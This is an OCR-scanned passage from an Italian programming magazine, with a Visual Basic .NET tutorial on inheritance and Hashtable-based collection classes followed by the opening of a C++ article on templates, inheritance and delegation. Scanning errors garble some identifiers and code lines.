nella Superclasse.
Per il nostro esempio possiamo scrivere:
Public Class ClienteFiscale
Inherits cliente
Private mvarCodiceFiscale As String
Property CodiceFiscale() As String
Get
Return mvarCodiceFiscale
End Get
Set(ByVal Valore As String)
mvarCodiceFiscale = Valore
End Set
End Property
End Class
Nell'esempio sopra riportato, la classe ClienteFiscale
eredita dalla classe cliente. La classe ClienteFiscale può,
quindi, utilizzare tutto ciò che in cliente è stato definito
come Public, Protected o Friend. In particolare, all'interno
di ClienteFiscale è possibile utilizzare le proprietà No-
me, .Cognome e SpesaMensile (definite nel precedente arti-
colo).
CREARE
UNA CLASSE COLLEZIONE
Per inserire una nuova classe collezione nel progetto, si
devono compiere le seguenti operazioni:
• Dal menu progetto, selezionare aggiungi classe.
• Nella finestra di dialogo immettere il nome della
collezione. Esistono diverse convenzioni in lettera-
tura per l'attribuzione del nome ad una collezione,
personalmente preferisco far precedere il nome
della classe dal prefisso Col (ColClienteFiscale).
Nella finestra del codice (dopo l'istruzione di dichiara-
zione della classe), si deve dichiarare una variabile
oggetto privata mCol di tipo Hashtable.
Dim mcol As Hashtable
Dopo aver definito la variabile collezione, come ogni
variabile oggetto, si deve creare un'istanza della varia-
bile di tipo Hashtable.
CREARE L'ISTANZA DELLA
VARIABILE OGGETTO
Il posto migliore in cui creare l'istanza della variabile
oggetto mCol è nel costruttore della classe. Ricordiamo
che il costruttore è un metodo richiamato automatica-
mente ogni volta che viene creata un'istanza di un
oggetto, in particolare è una specifica routine Sub il cui
nome deve obbligatoriamente essere New. Possiamo
quindi scrivere:
Public Sub NewQ
'crea l'oggetto di tipo Hashtable
mcol = New HashtableQ
End Sub
A questo punto avremo a disposizione una classe che
crea una collezione privata. Perché questa classe sia di
effettivo interesse si devono aggiungere i metodi che
permettino di manipolare la collezione privata. In par-
ticolare gli elementi di una collezione sono aggiunti con
il metodo Add e rimossi con il metodo Remove.
Codice Fiscale |srsbnn03c26d896y
Spasa Mensile
Bfl Luigi Buono 1500
Fig. 1: L'applicazione con alcuni dati di esempio.
Uno specifico elemento della collezione può essere
referenziato con il metodo Item.
Inoltre la proprietà Count restituisce il numero di mem-
bri della collezione.
Vediamoli in dettaglio
Metodo Add
Poiché la variabile di tipo Hashtable, è stata dichiarata
come variabile privata della classe, non è possibile
aggiungere oggetti alla collezione da un punto qualsia-
si dell'applicazione. Per questo motivo si deve definire
un metodo pubblico Add usando una procedura Sub
pubblica che sfrutti il metodo Add nativo della collezio-
ne Hashtable.
Il metodo Add nativo della collezione Hashtable consen-
te di aggiungere alla collezione un oggetto con la chia-
ve e il valore specificato. Per il nostro esempio si può
utilizzare il codice fiscale che rappresenta certamente
una chiave univoca per l'individuazione di un generi-
co oggetto ClienteFiscale.
Visual Basic
.NET
Collezioni
native
La classe colle-
zione si compor-
ta come una collezio-
ne nativa del Visual
Basic, anche se a
volte la sintassi è leg-
germente differente,
poiché le collezioni
definite dal program-
matore sono spe-
cializzate per con-
tenere solo oggetti di
un determinato tipo.
http :// www.it pò rt al.it
g g
3 ►►► 79
Visual Basic
NET
Cicli
Il ciclo For Each..
.Next è simile al
ciclo For... Next, ma
invece di ripetere le
istruzioni il numero di
volte specificato, ripe-
te un gruppo di istru-
zioni per ciascun ele-
mento di un insieme
di oggetti, questo ri-
sulta particolarmente
utile se non si conosce
il numero di elementi
di un insieme. La sin-
tassi è la seguente:
For Each
VariabileOggetto In
CollezioneDiOggetti
'blocco di istruzioni da
eseguire su ogni
oggetto della collezione
Next
A ogni ripetizione del
ciclo, la variabile Va-
riabileOggetto viene
impostata su uno de-
gli elementi della col-
lezione e viene ese-
guito il blocco di istru-
zioni. Quando tutti gli
elementi della colle-
zione sono stati asse-
gnati a VariabileOg-
getto, il ciclo For Each
termina e il controllo
passa all'istruzione
successiva all'istru-
zione Next.
Public Sub Add(ByVal obj As ClienteFiscale)
'viene chiamato il metodo nativo Add della Hashtable
'passandogli come parametri la chiave di accesso
'e l'oggetto che dovrà contenere
mcol.Add(obj.CodiceFiscale, obj)
End Sub
Il metodo Remove
Per esporre l'opportunità di rimuovere un oggetto
dalla collezione, si deve definire un metodo involucro
Remove pubblico che sfrutti il metodo Remove nativo.
Public Sub Remove(ByVal Chiave As String)
'Utilizzata per rimuovere un elemento dalla collezione,
'in base alla chiave dell'oggetto
mcol.Remove(Chiave)
End Sub
Il metodo Remove nativo elimina dalla collezione l'og-
getto che è stato aggiunto con la chiave passata come
argomento. Se la chiave specificata non viene trovata
nella collezione, VB genera un errore di Run-Time.
E possibile migliorare il metodo introducendo un
gestore di eccezioni che eviti questo increscioso errore.
Il metodo Item
Il metodo involucro item permette di referenziare un
elemento specifico della collezione. Per definire II me-
todo pubblico Item si utilizza una Property Get a sola let-
tura che restituisce il riferimento ad uno specifico
oggetto della collezione individuato dal parametro
Chiave.
La proprietà Item può diventare la proprietà prede-
finita (ricordo che soltanto una proprietà all'interno
di una classe può essere di default), utilizzando
nella sua dichiarazione la parola chiave Default.
In questo modo, nel momento in cui all'interno del
codice si vorrà fare riferimento ad un oggetto della
collezione, si potrà omettere la chiamata a questa
proprietà (come sarà chiaro in seguito). Dopo aver
referenziato lo specifico oggetto della collezione, ed
aver assegnato il riferimento ad una variabile ogget-
to, sarà possibile accedere alle proprietà ed ai meto-
di dell'oggetto restituito.
LA PROPRIETÀ COUNT
La proprietà Count dovrà restituire il numero di ele-
menti presenti nella collezione.
Per implementarla si deve definire una proprietà
pubblica a sola lettura che chiami la proprietà
intrinseca Count della collezione Hashtable
Public ReadOnly Property CountQ As Integer
Get
Return mcol. Count
End Get
End Property
SCORRERE GLI ELEMENTI
DI UNA COLLEZIONE
I metodi e le proprietà definiti finora rappresentano il
set minimale che una collezione deve implementare.
Per migliorare la vita al programmatore si può imple-
mentare un metodo che consenta di navigare facilmen-
te tra gli oggetti di una collezione: il metodo Elements.
II metodo Elements dovrà restituire un enumeratore,
cioè un oggetto che scorre l'insieme associato.
L'enumeratore è simile ad un puntatore che si sposta su
qualsiasi elemento dell'insieme, e viene utilizzato nel-
l'istruzione For. .Each.
L'interfaccia ICollection fornisce il suo enumeratore,
pertanto si può scrivere:
Public ReadOnly Property
Eie
mentsQ
As ICollection
Get
Return
mcol.Values
End Get
End Property
Fig. 2: Il messaggio di avviso.
GESTIRE I CLIENTI
DI UN SUPERMERCATO
Siamo pronti per realizzare una semplice applicazione
che sfrutti tutti i concetti esaminati in questa serie di
articoli.
Realizziamo una form contenente:
• Quattro TextBox: TextBoxNome, TextBoxCognome,
TextBoxCodiceFiscale, TextBoxSpesa con le quattro
Label corrispondenti.
• Tre Button: ButtonNuovo, ButtonSalva, ButtonCan-
cella.
• Una ListBox: EistBoxClienti
80 ►►► M a g g
3
http: //www. itport al.it
Per inserire i dati anagrafici di un nuovo cliente il
gestore del supermercato dovrà:
• Premere il tasto Nuovo.
• Inserire i dati anagrafici nei TextBox corrispondenti.
• Premere il tasto Salva per inserire il cliente nella
lista dei clienti del supermercato.
Allo scopo definiamo due variabili oggetto globali:
• CollezioneDiClienti istanza della classe ColCliente-
Fiscale, che dovrà contenere per la durata dell'appli-
cazione l'insieme dei clienti del supermercato.
• ObjClienteFiscale istanza della classe ClienteFisca-
le, che dovrà contenere i dati del cliente corrente.
Il ciclo di vita dell'oggetto CollezioneDiClienti coincide
con il ciclo di vita della form per questo motivo la
variabile oggetto CollezioneDiClienti dovrà essere creata
nell'evento Load della form
Private Sub FrmClienti_Load(ByVal sender As
System. Object, ByVal e As
System. EventArgs) Handles MyBase.Load
CollezioneDiClienti = New ColClienteFiscale()
End Sub
Per inserire un nuovo cliente del supermercato, la
prima operazione che dovrà compiere l'utente sarà di
premere il pulsante nuovo. In questa procedura dovre-
mo, quindi, preoccuparci di svuotare i TextBox e di
creare la variabile oggetto ObjClienteFiscale con la sin-
tassi ormai nota:
Private Sub ButtonNuovo
_Click(ByVal
System
sender As
.Object, ByVal
e As
System. EventArgs) Hand
es ButtonNuovo. Click
Objclientefiscale =
New ClienteF
scale()
SvuotaCampi()
End Sub
La procedura per pulire i campi non dovrà fare altro
che porre la proprietà Text dei quattro TextBox pari alla
stringa vuota. Per questo invece di scrivere:
Private Sub SvuotaCampi()
TextBoxCognome.Text = ""
TextBoxNome.Text = ""
TextBoxCodiceFiscale.Text = ""
TextBoxSpesaMensile.Text = ""
End Sub
possiamo sfruttare il polimorfismo avendo la possibili-
tà di accedere all'insieme dei controlli di un oggetto
form, tramite la collezione Controls.
La collezione Controls rappresenta tutti i controlli della
http ://www.itport al.it
form corrente, e permette di ottenere un riferimento ad
un controllo dell'insieme in base all'indice, e di ciclare
su tutti i controlli utilizzando l'istruzione For
Each...Next.
Private Sub SvuotaCampi()
Dim Controlli As Control
On Errar Resumé Next
For Each Controlli In Controls
If TypeOf Controlli Is TextBox Then
Controlli. Text = ""
End If
Next
End Sub
L'istruzione lf.Then è necessaria poiché si deve azzera-
re soltanto la proprietà Text dei TextBox e non quella di
tutti i controlli presenti sul form, per questo si può
usare la parola chiave TypeOf (analizzata nel numero
precedente) che verifica se un oggetto è derivato o
implementa un tipo particolare (per il nostro esempio il
tipo TextBox).
Quando l'utente completa l'inserimento dei dati ana-
grafici, dovrà premere il tasto salva per inserire il clien-
te nella lista dei clienti del supermercato.
Private Sub ButtonSalva_Click(ByVal sender
As System. Object, ByVal e As
System. EventArgs) Handles ButtonSalva. Click
'controllo sull'esistenza dell'oggetto Objclientefiscale
If Objclientefiscale Is Nothing Then
MessageBox.Show("Si deve prima premere il tasto
Nuovo")
Exit Sub
End If
Valori zzaCampi()
Try
CollezioneDiClienti. Add(Objclientefiscale)
Catch
End Try
VisualizzaLista()
SvuotaCampiQ
Objclientefiscale = Nothing
End Sub
La prima istruzione controlla se l'oggetto ObjClien-
teFiscale è stato creato, ed in caso contrario avvisa l'u-
tente che prima di inserire i dati di un nuovo cliente si
deve premere il tasto Nuovo e forza l'uscita dalla proce-
dura. La procedura ValorizzaCampi dovrà assegnare i
valori inseriti nei quattro TextBox alle proprietà del-
l'oggetto ObjClienteFiscale. Utilizzando l'istruzione
With .. End With vista nel precedente articolo, il codice
sarà semplicemente:
Private Sub ValorizzaCampi()
With Objclientefiscale
.CognomeQ = TextBoxCognome.Text
.Nome = TextBoxNome.Text
g g
Visual Basic
.NET
MID
La funzione Mid
permette di otte-
nere un valore di tipo
String che contiene un
numero precisato di
caratteri di una strin-
ga. La sintassi è la se-
guente:
Mid(StringaInEsame,
Inizio, Lunghezza)
StringalnEsame è un
parametro obbligato-
rio e rappresenta il no-
me della variabile di ti-
po stringa dalla quale
devono essere restitui-
ti i caratteri.
Inizio è un parametro
obbligatorio e rappre-
senta la posizione del
carattere in Stringaln-
Esame dalla quale ini-
zia la parte di stringa
da restituire. Se Inizio
è maggiore del numero
di caratteri dell'argo-
mento StringalnEsa-
me, la funzione Mid re-
stituirà una stringa di
lunghezza zero ("").
L'argomento Inizio
parte da uno.
Lunghezza è un para-
metro facoltativo e
rappresenta il numero
di caratteri da restitui-
re. Se il parametro
Lunghezza viene
omesso la funzione
restituisce tutti i carat-
teri della stringa a par-
tire dalla posizione
definita in Inizio. Lo
stesso effetto si ottie-
ne se il numero di
caratteri della stringa
in esame è minore del
numero indicato in
Lunghezza.
3 ►►► 81
.CodiceFiscale()
= TextBoxCodiceFiscal
e .Text
.SpesaMensile =
TextBoxSpesaMensile
Text
End With
End Sub
Visual Basic
.NET
Ereditarietà
La classe deri-
vata eredita dal-
la superclasse tutte
le proprietà ed i
metodi dichiarati co-
me Public o protected
nella Superclasse.
L'istruzione CollezioneDiClienti.Add(Objclientefiscale) in-
serisce il cliente corrente nella collezione dei clienti del
supermercato.
L'istruzione è preceduta dal gestore di eccezioni
Try. .Catch, che analizzeremo meglio in uno dei prossimi
articoli, vi basti sapere che in questa forma cattura l'er-
rore e passa all'istruzione successiva ad End Try nel
caso in cui si tenta di inserire nella collezione un clien-
te con lo stesso CodiceFiscale di un cliente già presente
nel supermercato. Utilizzando l'istruzione Try.. Catch..
End Try in questa forma, si potrà usare il tasto Salva
anche per modificare i dati di un cliente selezionato tra
la lista dei clienti del supermercato, come vedremo in
seguito.
Infine la procedura VisualizzaLista dovrà visualizzare
nel ListBox il cliente appena inserito.
Private Sub Visualizzal_ista()
Dim tmpdientefiscale As New ClienteFiscale()
Dim StrCliente As String
ListBoxClienti.Items.Clear()
For Each tmpdientefiscale In CollezioneDiClienti.Elements
With tmpdientefiscale
StrCliente=.CodiceFiscale+" " + .Nome+" " + . Cognome
StrCliente = StrCliente + " " + CStr(. SpesaMensile)
ListBoxClienti.Items.Add(StrCliente)
End With
Next
End Sub
Sono state dichiarate due variabili locali: tmpclientefi-
scale permetterà di ciclare tra tutti i clienti del super-
mercato, referenziando volta per volta un oggetto
ClienteFiscale diverso; StrCliente permetterà di co-
struire la stringa riassuntiva che dovrà essere mostra-
ta nel ListBox. L'istruzione ListBoxClienti.Items .ClearO
svuota il ListBox. Tramite l'istruzione For Each. . . Next
si cicla su ogni cliente della collezione, si costruisce la
stringa da visualizzare e si aggiunge la stringa nel
ListBox, tramite la proprietà Add dell'insieme Items.
Questa procedura può essere resa più performante
poiché, come potete facilmente notare, ogni volta che
l'utente preme il tasto Salva per inserire un nuovo
cliente, la lista viene prima svuotata e poi riempita
ciclando su tutti i clienti della collezione. Lascio a voi
il compito di scrivere una procedura che aggiunga o
modifichi i dati di un cliente visualizzandoli senza
dover ciclare su tutti i clienti della collezione.
L'ultima funzionalità che ci resta da implementare è
quella di modificare i dati di un cliente presente nella
lista (cliccando due volte sul listbox). Per ottenere
questo scopo, l'utente dovrà selezionare dalla lista il
cliente da modificare, modificare eventualmente i
suoi dati e premere il tasto Salva per visualizzare i
nuovi dati nella lista.
Nell'evento DonbleClick del ListBox scriviamo:
Private Sub ListBoxClientLDoubleClick(ByVal sender
As Object, ByVal e As
System. EventArgs) Handles ListBoxClienti.DoubleClick
Dim CodiceFiscaleSel As String
' Verifica che sìa stato selezionato un cliente.
If ListBoxClientì.Selectedltem <> "" Then
' I primi sedici caratteri rappresentano il codice fiscale.
CodiceFiscaleSel=Mid(ListBoxClienti.SelectedItem, 1, 16)
Objclientefiscale=CollezioneDiClienti(CodiceFiscaleSel)
VisualizzaDati()
End If
End Sub
Tramite la proprietà Selectedltem del ListBox, possia-
mo accedere all'elemento selezionato, per questo se
l'elemento selezionato è diverso dalla stringa vuota si
può procedere con l'esecuzione del codice in caso
contrario la procedura termina senza nessun effetto.
Tramite la funzione Mid viene valorizzata la variabile
CodiceFiscaleSel con i primi sedici caratteri della strin-
ga selezionata nel ListBox che rappresentano il codi-
ce fiscale. L'istruzione CollezioneDiClienti(CodiceFisca-
leSel) può essere usata al posto dell'istruzione Colle-
zioneDiClienti.Item(CodiceFiscaleSel) poiché il metodo
Item è stato definito come metodo di default, e resti-
tuisce il riferimento all'oggetto contenuto nella colle-
zione con chiave pari alla stringa CodiceFiscaleSel. In-
fine la procedura VisualizzaDati deve visualizzare nei
TextBox corrispondenti, i dati del cliente selezionato:
Private Sub VisualizzaDati()
With Objclientefiscale
TextBoxCognome.Text = .Cognome()
TextBoxNome.Text = .Nome
TextBoxCodiceFiscale.Text = .CodiceFiscale()
TextBoxSpesaMensile.Text = .SpesaMensile
End With
End Sub
Lascio a voi il compito di scrivere il codice associato
al tasto Cancella per cancellare un elemento dalla col-
lezione e dal ListBox, confrontatelo poi con il codice
riportato nel box a lato.
CONCLUSIONI
Questo articolo conclude il nostro itinerario all'inter-
no del mondo della programmazione ad oggetti. Se vi
piace un software ben progettato, sarete certamente
d'accordo che la programmazione ad oggetti è una
tecnologia attraente.
Nei prossimi articoli utilizzeremo spesso i concetti e
la terminologia usata in questa serie, poiché tutti i
controlli in VB.Net sono degli oggetti, e molti di essi
presentano al loro interno una collezione di oggetti.
Ing. Luigi Buono
82 ►►► M a g g
2 3
http: //www. itport al.it
Template
ED EREDITARIETÀ
Nella scorsa puntata abbiamo visto cosa sono i template
e quali sono le linee guida per scrivere codice usandoli.
In questo articolo analizzeremo il comportamento
di questi costrutti in presenza di classi base e classi
derivate, cercando di capire in dettaglio quali sono
le possibilità offerte dall'ereditarietà in queste situazioni
Come abbiamo visto nel precedente articolo, l'uti-
lizzo dei template può velocizzare in maniera
drastica lo sviluppo di applicazioni, tramite l'u-
so di codice altamente riutilizzabile. Con i template è
infatti possibile creare delle classi "stampo" che fungano
da modello generico, per poter successivamente istan-
ziare delle classi specifiche. Abbiamo ad esempio visto
come una classe Pila, codificata tramite template, possa
facilmente essere utilizzata per contenere sia variabili
dei tipi predefiniti (char, int ecc.), sia oggetti di classi
progettate da noi. Questo ovviamente costituisce uno
degli aspetti più potenti che il C++ mette a disposizio-
ne del programmatore. Abbiamo inoltre visto come
un'altro dei "potenti mezzi" di questo linguaggio sia l'e-
reditarietà, ovvero la possibilità di creare nuove classi
partendo da classi già esistenti, per ottenere sostanzial-
mente due risultati alternativi:
• specializzare il funzionamento di una classe a parti-
re da alcune caratteristiche di base (ad es: la crea-
zione della classe Fuoristrada a partire dalla classe
Automobile);
• estendere il comportamento di una classe, facendo-
la derivare da più di una classe base (ereditarietà
multipla).
E facile capire come una combinazione di ereditarietà e
uso di template possa portare a un giovamento genera-
le durante la fase di programmazione. La domanda che
ci poniamo è quindi: "Cosa succede quando cerchiamo
di derivare una classe da una classe base, costruita me-
diante template?". La risposta è più articolata di quanto
si possa pensare, poiché esistono diversi tipi di combi-
nazioni possibili. In particolare ci soffermeremo sui se-
guenti tre:
1. la classe base è un template, mentre la derivata co-
stituisce una particolare istanza che utilizza un tipo
specifico;
2. la classe base non è un template, mentre la derivata
risulta assente;
3. sia la classe base che la classe derivata fanno uso dei
template e quindi questo si mantiene nella deriva-
zione, rendendo il generico tipo T, utilizzabile con
oggetti di entrambe le classi.
Analizziamo dunque, nello specifico, i tre tipi di deri-
vazione con template.
CASO 1: BASE TEMPLATE,
DERIVATA SEMPLICE
Questo è un tipico esempio di utilizzo dell'ereditarietà
per "specializzazione", ovvero per restringere le possi-
bilità di una classe a uno specifico campo. Una classe
derivata di questo tipo si costruisce seguendo questa
struttura:
//Definizione della classe base
template <class T>
class Base {
//dichiarazioni di campi e funzioni
//con uso del tipo generico T };
//Definizione della classe derivata
class Derivata : public Base<char> {
//dichiarazioni di campi e funzioni
//specifici al tipo char
};
Come si può vedere l'uso del tipo generico T si ha sol-
tanto nella classe Base, mentre la classe Derivata altro
non è che una particolare istanza di Base, costruita rife-
rendosi al tipo predefinito char. Così com'è, la definizio-
ne di Derivata potrebbe sembrare alquanto mutile, visto
che è sempre possibile definire, direttamente nel codice,
una variabile del tipo:
File sul CD
soft\codice\CorsoC++.zip
File sul WEB
www.itportal.it
/iopr69/CorsoC++.zip
Ereditarietà
L'ereditarietà è
il meccanismo
che consente di crea-
re una classificazione
gerarchica di oggetti.
Le proprietà di un og-
getto padre possono
essere ereditate da
un oggetto figlio, evi-
tando la definizione
ex-novo di quest'ulti-
mo. Senza l'eredita-
rietà, ogni oggetto
dovrebbe essere defi-
nito a parte, aumen-
tando la complessità
e i tempi necessari
per la stesura del
programma. L'eredi-
tarietà svolge un ruo-
lo fondamentale nel
polimorfismo per in-
clusione.
http: //www. itportal.it
M
g g
3 ►►► 83
B
Ereditarietà
Multipla
Una classe può
derivare da una
classe derivata a sua
volta da un'altra, e
tale processo si può
ripetere a piacimen-
to. Una classe deri-
vata può accedere
alla stessa maniera
a tutti gli attributi ed
i metodi che appar-
tengono a tutte le
classi che la prece-
dono sulla linea di
discendenza, e che
esse mettono a di-
sposizione. Se una
classe deriva da più
classi, essa eredita
tutti i metodi e tutti
gli attributi di ogni
classe di origine. Si
parla in questo caso
di ereditarietà multi-
pla. Ogni metodo
della nostra classe
potrà accedere a
ogni attributo che
ciascuna delle clas-
si-padre renderanno
disponibile per i di-
scendenti. Ogni me-
todo della nostra
classe potrà utilizza-
re ogni metodo che
ciascuna delle sue
classi-padre rende-
ranno disponibile
per i discendenti.
Base<char> nome_variabile();
che risulterebbe del tutto equivalente a:
Derivata nome_variabile();
tuttavia questo cessa di essere vero quando (come è nel
caso auspicabile) nella classe Derivata vengono definite
delle funzioni specifiche al tipo che si è scelto di utiliz-
zare. Ad esempio Derivata potrebbe contenere una fun-
zione membro, che effettua una verifica sui dati di tipo
char che essa manipola, simile a:
bool Derivata: :isLetteraMaiuscola(char e) { //... }
ovviamente una funzione del genere non avrebbe sen-
so nella classe Base poiché, come è ovvio capire, essa
non sarebbe applicabile per tutti i tipi possibili che si
possono sostituire al tipo generico T. Pensiamo soltanto
a cosa potrebbe significare la seguente:
bool Base: :isLetteraMaiuscola(T t) {
//e se t è di tipo int??? }
In definitiva l'uso di questo tipo di derivazione è utile
in tutti quei casi in cui si ha bisogno di funzioni specia-
lizzate, da applicare a una classe dalla struttura già ben
delineata.
CASO 2: BASE SEMPLICE,
DERIVATA TEMPLATE
In questo caso la classe base è di tipo semplice, non fa
cioè uso del tipo generico T, mentre la derivata aggiun-
ge questa caratteristica. Si ha la seguente struttura del
codice:
In questo caso si è fornita la classe derivata delle opera-
zioni fondamentali di scrittura e lettura da disco e di co-
municazione su rete, indipendentemente da quale sarà
il contenuto dell'oggetto Insieme che istanzieremo (char,
int, Scheda ecc).
CASO 3: SIA BASE CHE
DERIVATA SONO TEMPLATE
In questa situazione la parametricità, rispetto al tipo ge-
nerico T, si trasmette dalla classe base a quella derivata.
Possiamo pensare a questa situazione come al caso del-
la normale derivazione senza template, in cui però la
derivazione stessa viene fatta per ogni possibile tipo
utilizzabile al posto di T. Se vogliamo, è il caso concet-
tualmente più semplice da capire, in quanto del tutto
analogo al caso della derivazione semplice e del tutto
intuitivo per chi sa cosa sono ereditarietà e template,
ma non come si usano insieme. Lo schema del codice in
questo caso è il seguente:
Come si vede la situazione è speculare al caso prece-
dente e non presenta particolari difficoltà dal punto di
vista della comprensione di ciò che accade. Questo tipo
di derivazione è spesso utilizzato quando si vuole for-
nire la classe derivata di specifiche funzionalità presen-
ti nella classe base. Questo vuol dire che una cosa del
genere ha senso (oltre a essere molto utile) nei casi in cui
si sfrutta l'ereditarietà multipla. Quello che si fa, cioè, è
costruire una classe derivata tramite template, cha ha
diverse caratteristiche basilari, descritte magari in una
serie di mini-classi base di tipo semplice. Questo rende
il codice ad alta riutilizzabilità della classe derivata, di
qualità ancora maggiore. Per fare un esempio si può
pensare alla seguente situazione:
Come si vede la genericità del template in Base viene
"ereditata" da Derivata, rendendo quest'ultima parame-
trica, esattamente allo stesso modo della prima. I più ar-
guti avranno anche capito quale è il "trucco" che sta die-
tro questo meccanismo. La cosa che si fa, infatti, non è
utilizzare Base nella sua forma generica, ma semplice-
mente usarla come se fosse istanziata normalmente con
un tipo accettabile, tranne per il fatto che questo tipo è
a sua volta un tipo definito con template. Base è quindi
istanziata con un tipo ben preciso: quello generico! Si
può dire che questo caso è quello più frequente nell'at-
tività di programmazione, per questo gli dedicheremo
un esempio un po' più corposo nei prossimi paragrafi.
84 ► ► ► M a g g
3
http:// www. itportal.it
DELEGATION
Quando si crea una nuova classe D, si hanno di fronte
due strade (il classico bivio): scriverla da zero, oppure
scriverla riusando codice. Seguire la strada del riutiliz-
zo è di solito la scelta migliore. Uno dei procedimenti
seguiti più spesso è quello di usare una classe B già
scritta, per rappresentare i valori della nuova classe D
che si sta scrivendo: si usa cioè la classe B come sup-
porto per la rappresentazione della classe D. Ad esem-
pio, volendo scrivere una classe Catalogo, si potrebbe
riusare la classe Insieme vista la scorsa puntata, con ov-
vi risparmi di tempo. Il meccanismo mediante il quale
si rappresentano i valori della classe D mediante la clas-
se B può essere implementato in due modi:
• composizione: si definisce una campo (non pubbli-
co) di tipo B, nella classe D: la classe D potrà usare
questo campo solo mediante le funzioni di interfac-
cia della classe B; ad es. nella classe Catalogo po-
tremmo avere un campo elenco Jìbri di tipo Insie-
me<Libro>;
• delegation: si definisce la classe D come derivata da
B: in questo caso, i campi che riguardano la rappre-
sentazione sono parte della classe D, che può acce-
dervi direttamente; un oggetto della classe D è an-
che (conseguenza diretta della relazione di eredita-
rietà) un oggetto della classe B.
Relativamente alla delegation una cosa è importante:
deve aversi necessariamente una derivazione di tipo
protected o private. Infatti, non si vuole che dall'esterno si
possa accedere a dei metodi della classe che non fanno
parte delle funzionalità offerte da essa (in questi casi
classe base e derivata possono anche essere concettual-
mente molto diverse), snaturandone il comportamento,
che è sempre una cosa "pericolosa". Soprattutto, però,
in questo caso la derivazione è stata usata per modella-
re la struttura interna della classe derivata, sul modello
della classe base: come vuole il paradigma della OOP, la
struttura interna di una classe deve essere invisibile
dall'esterno.
PIOVE
La volta scorsa abbiamo visto un nuovo tipo, definito
da noi: il tipo Pila. Adesso che sappiamo che esiste la
delegation, siamo bramosi di provarla e verificarne l'ef-
fettiva convenienza: niente di meglio che un confronto
diretto. Iniziamo da una ipotesi essenziale: abbiamo a
disposizione una classe già pronta, la classe Vettore. Di
tale classe potrete trovare il codice nel CD allegato, tut-
tavia per i nostri scopi basta conoscerne l'interfaccia:
Vettore& operator=(const Vettore&);
bool operator= = (const Vettore&);
int NumElementiQ;
T& operator[](int);
protected:
int dimensione;
T* vett; };
Si noti che nell'interfaccia di questa classe è stato ridefi-
nito l'operatore "[]": in questo modo si può usare un og-
getto di tipo Vettore con una sintassi simile a quella de-
gli array, diversa solo per come si dichiara un oggetto
Vettore:
Vettore<char> v(10); //dichiarazione: diversa
//da quella di un array!
v[7] = 'H'; //uso come un array
Usando questa nuova classe (il caso vuole che non l'ab-
biamo scritta noi, ma ci è piovuta dal cielo: in realtà
questa è una situazione tipica), proviamo a reimple-
mentare la classe Pila<Elem>. Prima di andare avanti
però, rendiamoci effettivamente conto del perché la de-
rivazione dovrà essere necessariamente di tipo protected
o private, come anticipato al termine del paragrafo pre-
cedente. Se la derivazione fosse di tipo public, potrem-
mo fare cose del tipo:
Pila<int> p(10);
P[5] = 5;
Pur essendo corretto a livello sintattico (cioè dal punto
di vista del linguaggio), è tuttavia un modo di procede-
re che fa perdere di vista il significato del tipo Pila (che
usata così sembra a tutti gli effetti un Vettore), è cioè un
errore semantico (relativo al significato). Imponendo la
non visibilità dall'esterno dei metodi della classe Vetto-
re, una operazione come quella appena vista non sarà
più possibile, e si dovrà usare per forza la funzione di
interfaccia fornita da noi (in questo caso, la funzione
PushQ). Si noti che quello che apparentemente sembra
un errore veniale, in realtà potrebbe essere catastrofico:
basti pensare ad un ipotetica classe in cui si faccia uso
del tipo Pila, e non si usi la funzione PushQ per l'inseri-
mento dei valori al suo interno; se si cambia l'imple-
mentazione del tipo Pila, chi ci assicura che nella nuova
implementazione sia stato fornito l'operatore "[] "? E se
lo avessimo usato dappertutto, per migliaia di volte?
Come aggravante, ricordiamo che il tipo Pila è un tipo
tradizionalmente usato neirinformatica: non è uno
standard, ma una convenzione, che è un vincolo, forse,
ancora più forte.
UNA PILA
CON LA DELEGATION
Ricordiamo che in una Pila si ha una gestione degli ele-
menti di tipo "Last In First Out" (LIFO), e che ci sono al-
cune funzioni che hanno dei comportamenti particola-
Problemi
di ambiguità
Esiste un proble-
ma di ambiguità
legato all'ereditarietà
multipla. Se più classi
padre definiscono lo
stesso attributo, la
classe derivata avrà
al suo interno più co-
pie dello stesso attri-
buto (in realtà più at-
tributi con lo stesso
nome). I metodi delle
classi-padre (o super-
classi) sapranno qua-
le attributo utilizzare,
ma occorrerà creare
una notazione parti-
colare per consentire
ai metodi della classe
derivata di accedere
all'attributo che vo-
gliono. Anche per i
metodi ereditati si
può verificare la stes-
sa situazione. In que-
sto caso il problema si
presenta ancora più
grave in quanto i me-
todi possono venire
invocati anche dall'e-
sterno dell'oggetto, e
all'esterno non do-
vrebbe trasparire nul-
la della struttura, e
quindi non si dovreb-
bero conoscere i par-
ticolari sull'eredita-
rietà.
http ://www.itport al.it
M
g g
3 ►►► 85
Vari tipi di
polimorfismo
Esistono due tipi
fondamentali di
polimorfismo: quello
ad-hoc e quello uni-
versale. Il primo assu-
me significato in am-
biti abbastanza ri-
stretti, basandosi sul-
l'overloading degli
operatori, o delle fun-
zioni, e sulla coercion.
Per overloading si in-
tende il il processo nel
quale due funzioni (o
operatori) condivido-
no lo stesso nome ma
sono in grado di ope-
rare su dati diversi. La
coercion, invece, con-
siste nella forzatura di
un operatore ad usare
tipi diversi da quelli
per cui è stato conce-
pito. Per quanto con-
cerne il polimorfismo
universale, è possibile
distinguere il polimor-
fismo parametrico, ti-
pico della programma-
zione generica (uso di
template) da quello
per inclusione, tipico
della programmazione
object-oriented.
Contatta
gli autori!
Se hai suggeri-
menti, critiche,
dubbi o perplessità
sugli argomenti trat-
tati e vuoi proporle
agli autori puoi scri-
vere agli indirizzi:
Alfredo
alfredo.marroccelli
gilibero.it
Marco
marcodelgobboló)
libero.it
Questo contribuirà
sicuramente a mi-
gliorare il lavoro di
stesura delle prossi-
me puntate.
ri: Push(), che inserisce un nuovo elemento nella Pila, e
PopQ, che restituisce l'elemento affiorante della Pila. Si
pensi ad essa come ad una pila di piatti, in cui il push è
l'inserimento sopra la pila corrente di un nuovo piatto,
mentre il pop è il prelievo del piatto che è sopra tutti gli
altri. Usando il meccanismo della delegation, si deve far
derivare in maniera non pubblica la classe Pila dalla
classe Vettore:
template <class T>
class Pila: private Vettore<T>
{ ... };
Avendo scelto la derivazione privata, i campi di Vettore
(che erano protected e public) adesso sono private in Pila.
Tuttavia questi campi ci sono (ad es. ci saranno le due
proprietà vett e dimensione che erano presenti in Vetto-
re): la situazione è un po' particolare, in quanto è come
se stessimo dicendo che un oggetto di tipo Pila dall'e-
sterno si comporta come una Pila, ma in realtà all'inter-
no funziona come un Vettore (ma questo aspetto relati-
vo all'implementazione non è visibile, come è giusto, al-
